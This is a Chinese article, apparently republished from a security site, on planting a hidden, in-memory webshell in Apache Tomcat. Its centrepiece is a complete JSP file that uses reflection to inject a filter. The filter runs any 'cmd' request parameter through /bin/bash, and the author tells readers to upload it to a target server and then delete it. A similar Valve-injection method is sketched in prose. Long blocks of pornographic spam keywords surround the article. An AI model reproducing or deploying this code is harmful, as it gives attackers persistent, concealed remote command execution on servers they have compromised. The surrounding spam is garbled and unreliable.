精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Tomcat源代碼調(diào)試:看不見的Shell第一式

安全 應(yīng)用安全
抱著隱藏 shell 的目的去調(diào)試的 tomcat 的代碼。我調(diào)試了tomcat 從接收到一個socket 到解析socket 并封裝成Request 轉(zhuǎn)發(fā)至 Jsp/Servlet 的全過程,找到了兩個較為容易實現(xiàn)的方法(肯定還有其它的方法),這里記錄一其中一個。

抱著隱藏 shell 的目的去調(diào)試的 tomcat 的代碼。我調(diào)試了tomcat 從接收到一個socket 到解析socket 并封裝成Request 轉(zhuǎn)發(fā)至 Jsp/Servlet 的全過程,找到了兩個較為容易實現(xiàn)的方法(肯定還有其它的方法),這里記錄一其中一個。另一個也很類似所以只記錄一下思路。

1. 運行時動態(tài)插入過濾器

過濾器的基礎(chǔ)概念以及作用這里不寫了。

Servlet 規(guī)范(應(yīng)該是從3.0 開始)里面本身規(guī)定了一個名為ServletContext 的接口,其中有三個重載方法:

  1. FilterRegistration.Dynamic addFilter(String filterName,String className)  
  2. FilterRegistration.Dynamic addFilter(String filterName,Filter filter)  
  3. FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)  

這三個方法使得我們可以在運行時動態(tài)地添加過濾器。

Tomcat 對 ServletContext 接口的實現(xiàn)類為:org.apache.catalina.core.ApplicationContextFacade

但是并沒有簡單到直接調(diào)用一下這可以實現(xiàn),因為 Tomcat 在對這個接口的實現(xiàn)中,是只允許在容器還沒有初始化完成的時候調(diào)用這幾個方法。一旦容器初始化已經(jīng)結(jié)束,調(diào)用時就會出現(xiàn)異常:

我看了一下這個 if 之后的語句,并不是太復雜,這使得我們完全可以自己用代碼來執(zhí)行后面的邏輯。寫的過程也沒有太順利,我完全復制了后面的邏輯,但是動態(tài)插入過濾器卻沒有生效。所以去重新調(diào)試了一遍tomcat 接收處理請求的全過程,發(fā)現(xiàn)為請求組裝filterChain 是在 StandardWrapperValve 里面進行的:

真正的組裝方法位于:

  1. org.apache.catalina.core.ApplicationFilterFactory#createFilterChain 

代碼太長不截圖了,有興趣的可以自己去看。

組裝完成后開始調(diào)用過濾器鏈。

我將 org.apache.catalina.core.ApplicationFilterFactory#createFilterChain 方法內(nèi)的細節(jié)與自己寫的插入過濾器的細節(jié)做了對比,得出下面這個可以在Tomcat 8 (Tomcat 7 上的話需要小改一下)下實現(xiàn)我想要的目的 Jsp文件。直接看代碼吧:

  1. <%@ page language="java" contentType="text/html; charset=UTF-8" 
  2.     pageEncoding="UTF-8"%> 
  3. <%@ page import="java.io.IOException"%> 
  4. <%@ page import="javax.servlet.DispatcherType"%> 
  5. <%@ page import="javax.servlet.Filter"%> 
  6. <%@ page import="javax.servlet.FilterChain"%> 
  7. <%@ page import="javax.servlet.FilterConfig"%> 
  8. <%@ page import="javax.servlet.FilterRegistration"%> 
  9. <%@ page import="javax.servlet.ServletContext"%> 
  10. <%@ page import="javax.servlet.ServletException"%> 
  11. <%@ page import="javax.servlet.ServletRequest"%> 
  12. <%@ page import="javax.servlet.ServletResponse"%> 
  13. <%@ page import="javax.servlet.annotation.WebServlet"%> 
  14. <%@ page import="javax.servlet.http.HttpServlet"%> 
  15. <%@ page import="javax.servlet.http.HttpServletRequest"%> 
  16. <%@ page import="javax.servlet.http.HttpServletResponse"%> 
  17. <%@ page import="org.apache.catalina.core.ApplicationContext"%> 
  18. <%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%> 
  19. <%@ page import="org.apache.catalina.core.StandardContext"%> 
  20. <%@ page import="org.apache.tomcat.util.descriptor.web.*"%> 
  21. <%@ page import="org.apache.catalina.Context"%> 
  22. <%@ page import="java.lang.reflect.*"%> 
  23. <%@ page import="java.util.EnumSet"%> 
  24. <%@ page import="java.util.Map"%> 
  25.  
  26.  
  27. <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
  28. <html> 
  29. <head> 
  30. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
  31. <title>Insert title here</title> 
  32. </head> 
  33. <body> 
  34. <
  35. final String name = "n1ntyfilter"
  36.  
  37. ServletContext ctx = request.getSession().getServletContext(); 
  38. Field f = ctx.getClass().getDeclaredField("context"); 
  39. f.setAccessible(true); 
  40. ApplicationContext appCtx = (ApplicationContext)f.get(ctx); 
  41.  
  42. f = appCtx.getClass().getDeclaredField("context"); 
  43. f.setAccessible(true); 
  44. StandardContext standardCtx = (StandardContext)f.get(appCtx); 
  45.  
  46.  
  47. f = standardCtx.getClass().getDeclaredField("filterConfigs"); 
  48. f.setAccessible(true); 
  49. Map filterConfigs = (Map)f.get(standardCtx); 
  50.  
  51. if (filterConfigs.get(name) == null) { 
  52.    out.println("inject "+ name); 
  53.     
  54.    Filter filter = new Filter() { 
  55.       @Override 
  56.       public void init(FilterConfig arg0) throws ServletException { 
  57.          // TODO Auto-generated method stub 
  58.       } 
  59.        
  60.       @Override 
  61.       public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2) 
  62.             throws IOException, ServletException { 
  63.          // TODO Auto-generated method stub 
  64.          HttpServletRequest req = (HttpServletRequest)arg0; 
  65.          if (req.getParameter("cmd") != null) { 
  66.             byte[] data = new byte[1024]; 
  67.             Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start(); 
  68.             int len = p.getInputStream().read(data); 
  69.             p.destroy(); 
  70.             arg1.getWriter().write(new String(data, 0, len)); 
  71.             return; 
  72.          }  
  73.          arg2.doFilter(arg0, arg1); 
  74.       } 
  75.        
  76.       @Override 
  77.       public void destroy() { 
  78.          // TODO Auto-generated method stub 
  79.       } 
  80.    }; 
  81.     
  82.    FilterDef filterDef = new FilterDef(); 
  83.     filterDef.setFilterName(name); 
  84.     filterDef.setFilterClass(filter.getClass().getName()); 
  85.     filterDef.setFilter(filter); 
  86.      
  87.     standardCtx.addFilterDef(filterDef); 
  88.     
  89.    FilterMap m = new FilterMap(); 
  90.    m.setFilterName(filterDef.getFilterName()); 
  91.    m.setDispatcher(DispatcherType.REQUEST.name()); 
  92.    m.addURLPattern("/*"); 
  93.     
  94.     
  95.    standardCtx.addFilterMapBefore(m); 
  96.     
  97.     
  98.    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); 
  99.    constructor.setAccessible(true); 
  100.    FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef); 
  101.     
  102.     
  103.     filterConfigs.put(name, filterConfig); 
  104.      
  105.     out.println("injected"); 
  106. %> 
  107. </body> 
  108. </html> 

將以上 JSP 文件上傳至目標服務(wù)器命名為 n1ntyfilter.jsp,訪問后如果看到“injected” 字樣,說明我們的過濾器已經(jīng)插入成功,隨后可以將此 jsp 文件刪掉。隨后,任何帶有 cmd 參數(shù)的請求都會被此過濾器攔下來,并執(zhí)行 shell 命令,達到“看不見的 shell”的效果。

2. 動態(tài)插入 Valve

Valve 是 Tomcat 中的用于對Container 組件(Engine/Host/Context/Wrapper)進行擴展一種機制。通常是多個Valve組裝在一起放在Pipeline 里面。Tomcat 中 Container 類型的組件之間的上下級調(diào)用基本上都是通過pipeline 與 valve 完成的。如果你熟悉 Struts2 中的攔截器機制,那么你會很容易理解valve + pipeline 的動作方式。Pipeline 就相當于攔截器鏈,而valve就相當于攔截器。

Valve 接口定義了如下的 invoke 方法:

  1. publicvoid invoke(Request request, Response response) 
  2.     throws IOException, ServletException; 

我們只需在運行時向 Engine/Host/Context/Wrapper 這四種 Container 組件中的任意一個的pipeline 中插入一個我們自定義的 valve,在其中對相應(yīng)的請求進行攔截并執(zhí)行我們想要的功能,就可以達到與上面Filter 的方式一樣的效果。而且 filter 只對當前context 生效,而valve 如果插到最頂層的container 也就是 Engine,則會對 Engine 下的所有的context 生效。

以上兩種方式,利用的時候都必須是通過 HTTP 的方式去真正地發(fā)起一個請求,因為在這些流程之前,Tomcat會檢查接收自socket的前幾個字節(jié)是不是符合HTTP 協(xié)議的要求,雖然被請求的文件可以不存在。如果想利用非HTTP 協(xié)議,則需要在tomcat 的Connector 上做手腳,這個復雜度就比以上兩種方式要高很多了。

以上兩種方式都會在 Tomcat 重啟后失效。

責任編輯:趙寧寧 來源: FreeBuf
相關(guān)推薦

2019-09-06 16:41:50

戴爾

2020-08-17 17:31:00

戴爾

2011-06-30 14:29:09

決戰(zhàn)黃橋數(shù)字特效

2012-03-26 10:29:04

數(shù)據(jù)中心

2013-09-22 15:47:23

蘋果iPhone

2013-06-21 15:01:16

編程開發(fā)

2013-07-04 14:05:26

功能用戶體驗

2020-12-24 14:41:03

人工智能人工智能技術(shù)

2022-04-28 16:11:09

DDOS勒索安全

2015-12-11 16:53:28

intel

2025-01-26 11:30:55

2023-04-28 15:30:32

數(shù)字化轉(zhuǎn)型工具

2010-11-22 09:36:12

2016-09-06 09:45:43

華為HUAWEI CONN梯聯(lián)網(wǎng)

2024-05-20 11:51:47

架構(gòu)重構(gòu)接口

2018-07-06 09:00:00

2009-04-02 10:32:39

網(wǎng)絡(luò)安全隱患

2013-11-29 14:31:18

NETGEAR路由NETGEAR

2016-08-19 18:22:24

2013-03-29 10:10:00

點贊
收藏

51CTO技術(shù)棧公眾號

jizzjizzjizz国产| 青青草国产精品视频| 久久这里只有精品9| 久久久久久久久久久9不雅视频| 制服丝袜激情欧洲亚洲| 男女日批视频在线观看| 国产精品美女无圣光视频| 黄色一级二级三级| 国产成人l区| 91在线观看视频| 国产精品久久久久久久久久免费| 欧美成人一二三区| 国产成人一区二区三区影院| 欧美一区二区国产| 国产av无码专区亚洲精品| 精品视频在线一区二区| 久久影院午夜论| 91免费视频国产| 亚洲图片在线视频| 国产精品草草| 精品精品国产国产自在线| 成人手机在线免费视频| 日韩精品第二页| 狠狠色狠狠色综合日日小说| 色哺乳xxxxhd奶水米仓惠香| 黄色的视频在线免费观看| 风流少妇一区二区| 91久久久久久久久久久| 久久国产精品免费观看| 风流老熟女一区二区三区| 丝袜亚洲精品中文字幕一区| 欧美激情亚洲另类| 日本在线观看网址| 伊人久久大香线蕉综合网蜜芽| 欧美一级黄色录像| 中文字幕 91| 中文日产幕无线码一区二区| 亚洲一区电影777| 一区二区在线高清视频| 国产粉嫩一区二区三区在线观看 | 91欧美视频在线| 悠悠资源网亚洲青| 亚洲国产日韩一区二区| 日韩中文在线字幕| 日本在线视频网| 久久久久国产精品免费免费搜索| 国产伦精品一区二区三区高清版 | 日韩三级精品| 一区二区三区在线视频免费观看 | 欧美另类亚洲| 久久精品视频网站| 国产精品视频在| 国产亚洲一卡2卡3卡4卡新区 | 7788色淫网站小说| 北条麻妃在线一区二区免费播放| 日韩一级视频免费观看在线| 91丝袜超薄交口足| 北岛玲精品视频在线观看| 7878成人国产在线观看| 手机在线免费毛片| 国产视频一区二| 欧美大片拔萝卜| 性生交大片免费看l| 中文字幕一区图| 欧美精品一区二区三区一线天视频| 日本中文字幕精品| 亚洲精品在线国产| 欧美mv日韩mv国产网站app| 日本精品一二三| 97se亚洲| 亚洲人在线观看| 精品熟妇无码av免费久久| 久久精品亚洲人成影院| 欧美激情视频网站| 日本三级一区二区| 久久男女视频| 国产欧美一区二区三区视频| 国产成人精品一区二区无码呦| 国产传媒日韩欧美成人| 国产精品久久亚洲7777| 手机看片福利在线观看| 国产喂奶挤奶一区二区三区| 热这里只有精品| 懂色av一区| 91激情五月电影| 污视频在线观看免费网站| 国产精品一线| 在线看福利67194| 精品无码久久久久成人漫画| 精品91在线| 国产精品第3页| www.色婷婷.com| 久久久91精品国产一区二区三区| 久久久国产午夜精品| 日本欧美精品久久久| 精品黄色免费中文电影在线播放 | 狠狠噜天天噜日日噜| 国产一二三在线| 欧美日韩电影一区| 免费黄色三级网站| 五月激情综合| 日本亚洲欧洲色α| a天堂在线观看视频| 久久久久久综合| 国产成人艳妇aa视频在线| 最新欧美电影| 精品国产人成亚洲区| 亚洲一二三四视频| 99riav国产精品| 亚洲aaaaaa| 国产黄色在线| 午夜精品一区二区三区免费视频 | 黄色片视频免费| 国产精品一区在线| 亚洲精品成人三区| 午夜激情电影在线播放| 日韩欧美一级在线播放| 国产不卡在线观看视频| 亚洲一区二区毛片| 不卡一区二区三区视频| 99视频在线观看地址| 欧美日韩在线第一页| 少妇极品熟妇人妻无码| 日韩精品a在线观看91| 欧美丰满少妇xxxxx做受| 在线观看av大片| 国产日韩精品一区二区三区在线| www.av毛片| 蜜桃精品一区二区三区| 色黄久久久久久| 成人免费一级片| 久久一二三国产| 欧美日韩在线一| 风间由美性色一区二区三区四区 | 激情都市亚洲| 日韩av一区在线观看| 久草资源在线视频| 国产精品一卡二卡| 欧美性猛交xxxx久久久| 黄色小视频大全| 国产一区二区色噜噜| 一个色综合导航| 亚洲国产av一区二区三区| 91丝袜国产在线播放| www.99热这里只有精品| 国产一区二区三区亚洲| 久久久久亚洲精品成人网小说| 国产精品无码一区二区桃花视频| 国产精品色噜噜| 色噜噜狠狠永久免费| 日韩欧美综合| 国产在线精品播放| 蜜桃视频在线观看www社区| 欧美日韩精品一区视频| 91麻豆精品久久毛片一级| 日韩不卡在线观看日韩不卡视频| 青青影院一区二区三区四区| 日韩伦理三区| 伊是香蕉大人久久| 一区二区 亚洲| 国产精品美女久久久久aⅴ| 天天干天天色天天干| 五月激情久久久| 国产精品久久亚洲7777| 一区二区三区电影大全| 在线电影av不卡网址| 一级α片免费看刺激高潮视频| 亚洲色图视频免费播放| 爱情岛论坛亚洲自拍| 亚洲一级电影| 欧美一区2区三区4区公司二百 | 性做久久久久久免费观看| www.88av| 美日韩一区二区| 樱空桃在线播放| 久久精品福利| 国产精品久久一区主播| 老司机精品视频在线观看6| 日韩美女在线视频| 久久久精品免费看| 日本一区二区高清| 日本中文字幕在线不卡| 亚洲黄色成人| 日本在线高清视频一区| 高清久久一区| 欧美性视频在线| 久cao在线| 亚洲国产另类久久精品| 羞羞色院91蜜桃| 一区二区三区在线免费播放 | 亚洲欧美激情另类| 亚洲一级二级三级在线免费观看| 日韩av在线看免费观看| 九色综合狠狠综合久久| 青青青青草视频| 欧美呦呦网站| 国产精品国产一区二区| 99九九久久| 久久久久国产视频| 一级毛片视频在线观看| 亚洲国产中文字幕久久网| 一道本在线视频| 色综合视频在线观看| av成人免费网站| 国产日本亚洲高清| 99riav国产精品视频| 奇米综合一区二区三区精品视频| 国产xxxx振车| 欧美国产偷国产精品三区| 国产尤物99| 国产激情综合| 国产精品成人久久久久| av有码在线观看| 久久久av网站| 都市激情一区| 日韩电影中文字幕一区| 午夜精品久久久久久久第一页按摩| 91成人免费网站| 日本一二三区视频| 亚洲免费三区一区二区| 国内毛片毛片毛片毛片毛片| 久久综合久久鬼色| chinese麻豆新拍video| 国产成人99久久亚洲综合精品| 午夜免费福利视频在线观看| 久久久久网站| 欧美亚洲另类色图| 亚洲精品1区| www.成年人视频| 亚洲精品a级片| 亚洲AV无码成人精品一区| 精品久久不卡| 日本午夜一区二区三区| 香蕉久久夜色精品国产更新时间| 国产精品自拍首页| aaa国产精品视频| 5g影院天天爽成人免费下载| 日韩午夜电影免费看| 国产精品视频白浆免费视频| 国产91欧美| 国产免费一区视频观看免费| 日韩毛片一区| 国产精品中文字幕久久久| 99久久伊人| 国产精品一区二区性色av| 免费成人美女女| 国产成人在线一区二区| 四虎成人在线| 国产精品视频久久久久| 成人四虎影院| 国产一区二区视频在线观看| 自拍偷拍亚洲图片| 亚洲自拍欧美另类| 一区二区三区欧洲区| www.久久艹| 蜜臀av一区| 日本高清不卡一区二区三| 国产剧情一区| 亚洲欧洲一区二区在线观看| 国产精品麻豆久久| 国产成人生活片| 亚洲国产一区二区精品专区| aa在线免费观看| 日韩av一区二区在线影视| 天天干天天玩天天操| 国产麻豆精品95视频| 中国特级黄色片| 91社区在线播放| 少妇人妻好深好紧精品无码| 亚洲欧洲国产日韩| 久久久久久天堂| 色综合久久中文字幕| 亚洲一区二区影视| 欧美videofree性高清杂交| 天堂在线中文字幕| 宅男66日本亚洲欧美视频| av免费在线免费观看| 91精品国产成人www| 激情中国色综合| 成人免费在线看片| 国产精品密蕾丝视频下载| 色撸撸在线观看| 国产亚洲在线观看| 欧美国产日韩另类| 99久久久久久99| 久久久久人妻一区精品色| 午夜视频在线观看一区二区| 中文字幕av网站| 欧美精品一区二区三区在线 | 欧美另类在线播放| 美女日韩欧美| 亚洲一区二区少妇| 国产一区二区三区不卡视频网站| 激情视频小说图片| 久久亚洲国产精品一区二区| 久久综合桃花网| 国产视频一区二区在线观看| 青青草原在线免费观看| 日本道在线观看一区二区| www夜片内射视频日韩精品成人| 亚洲精品少妇网址| 美女网站视频在线| 国产精品免费一区二区三区都可以| 国内自拍欧美| 国产奶头好大揉着好爽视频| 日日欢夜夜爽一区| 麻豆精品国产传媒av| 亚洲视频免费看| 精品国产www| 亚洲精品久久久久久久久| 伊人精品影院| 国产日韩av高清| 加勒比久久综合| 亚洲不卡中文字幕无码| 国产aⅴ综合色| 欧美手机在线观看| 欧美视频完全免费看| 青青久草在线| 欧美高清性猛交| 国模大尺度视频一区二区| 色播亚洲视频在线观看| 欧美一级网站| 国产又粗又长又爽| 亚洲影视资源网| 国产国语亲子伦亲子| 色av中文字幕一区| 91国拍精品国产粉嫩亚洲一区 | 精品人妻无码中文字幕18禁| 亚洲欧洲三级电影| 中文字幕av资源| 国产一区二区三区久久精品| 超碰aⅴ人人做人人爽欧美| 激情伦成人综合小说| 伊人久久大香线蕉综合热线| 97中文字幕在线观看| 一区二区三区加勒比av| 精品国产无码一区二区三区| 蜜臀久久99精品久久久无需会员 | 欧美成人在线免费观看| 9色精品在线| 久久一区二区电影| 欧美午夜丰满在线18影院| 青青青草原在线| 国产91露脸中文字幕在线| 免费一区二区三区视频导航| 国产主播在线看| 久久久久久久久久看片| 无码一区二区三区| 在线观看中文字幕亚洲| 欧美三级电影网址| 黄色免费高清视频| 国产成人一区在线| 国产精品1000| 亚洲毛片一区二区| 日韩成人动漫| 在线视频福利一区| 国产精品小仙女| av资源吧首页| 精品无人国产偷自产在线| 色香欲www7777综合网| 中文字幕在线观看一区二区三区| 国产麻豆午夜三级精品| 久久亚洲AV无码| 亚洲精品国精品久久99热一| 日韩网站中文字幕| 在线观看欧美激情| 成人午夜免费视频| 国产99久久久| 日韩中文字幕在线视频播放| 日韩欧美中文字幕一区二区三区 | 印度午夜性春猛xxx交| 欧美va亚洲va香蕉在线| 婷婷六月国产精品久久不卡| 亚洲日本理论电影| 成人爱爱电影网址| 国产三级精品三级在线观看| 中文字幕亚洲自拍| 这里视频有精品| 久久久久狠狠高潮亚洲精品| 中文字幕亚洲区| 秋霞欧美在线观看| 国产精品国产三级国产aⅴ浪潮| 亚洲一区二区| 成人免费网站黄| 欧美一区二区三区啪啪| 国产不卡人人| 一区二区三区免费看| 97se亚洲国产综合自在线观| 在线播放成人av| 51精品在线观看| 中文一区一区三区免费在线观看| 亚洲天堂美女视频| 91精品免费观看| 亚洲欧美韩国| 中国一级大黄大黄大色毛片| 久久亚洲二区三区| 亚洲AV无码精品国产| 国产精品日韩欧美综合| 一区二区日本视频| 加勒比婷婷色综合久久|